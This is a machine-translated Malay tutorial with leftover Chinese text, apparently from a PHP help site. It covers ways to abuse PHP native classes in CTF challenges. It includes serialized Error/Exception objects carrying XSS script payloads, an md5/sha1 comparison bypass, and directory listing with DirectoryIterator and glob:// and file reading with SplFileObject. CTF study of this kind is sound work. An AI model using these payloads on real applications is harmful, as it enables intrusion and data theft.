Artikel ini membawakan anda pengetahuan yang berkaitan tentang PHP, yang terutamanya memperkenalkan kandungan yang berkaitan tentang kelas asli Mari kita lihat bersama-sama saya harap ia dapat membantu semua orang.
Kali ini HEctf ialah soalan asli dengan hanya tiga baris kod. Sudah tentu, lebih pendek kod, lebih sukar dalam ctf.
Mula-mula siarkan skrip yang merentasi kelas terbina dalam php
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
Hasilnya:
Untuk menyelesaikannya:
Exception ErrorException Error ParseError TypeError ArgumentCountError ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
Mungkin ini adalah kategori, tetapi kategori berikut sering digunakan dalam pertandingan ctf
Kaedah __toString Mengembalikan bentuk rentetan ralat atau pengecualian, yang mengandungi parameter yang kami masukkan Jika kami membina rentetan kod xss dan menggabungkannya dengan pemaparan gema, kerentanan xss yang dicerminkan akan dicetuskan
demo:
<?php $a = unserialize($_GET['a']);echo $a;
<?php $a = new Error("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b);
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
Pengecualian ialah kelas asas untuk semua pengecualian peringkat pengguna. (PHP 5, 7, 8) Struktur pop
<?php $a = new Exception("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b); ?>
<?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
boleh dilihat, parameter selepas muatan tidak menjejaskan keputusan output. Melalui ini fungsi hash boleh dipintas.
<?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){ echo '$a不等于$b'."\n ";} if (md5($a)===md5($b)) { echo "md5值相等\n"; } if (sha1($a)===sha1($b)){ echo "sha1值相等\n"; }
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
DirectoryIterator
__toString Dapatkan nama fail dalam bentuk rentetan (PHP 5, 7, 8)
Contohnya:<?php $a = new DirectoryIterator("/"); foreach($a as $b){ echo($b.'</br>'); } echo $a;
Output fail yang diisih dalam yang ditentukan direktori Nama fail pertama
menggunakan kaedah __toString kelas terbina dalam ini digabungkan dengan glob atau protokol fail untuk mencapai traversal direktori<?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){ echo $b.'<br>'; }
Gunakan foreach untuk melintasi semua fail
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
Kelas FilesystemIterator
Kelas FilesystemIterator adalah sama dengan kelas DirectoryIterator dan menyediakan antara muka mudah untuk melihat kandungan direktori sistem fail. Pembina kelas ini akan mencipta iterator bagi direktori yang ditentukan. Kaedah penggunaan kelas ini pada asasnya sama dengan kelas DirectoryIterator:<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
SplFileObject::__toString — 以字符串形式返回文件的路径
<?php $a = new SplFileObject('flag.txt'); echo $a;
输出多行
<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){ echo($f); }
推荐学习:《PHP视频教程》
Atas ialah kandungan terperinci Perkongsian ringkasan kelas asli PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!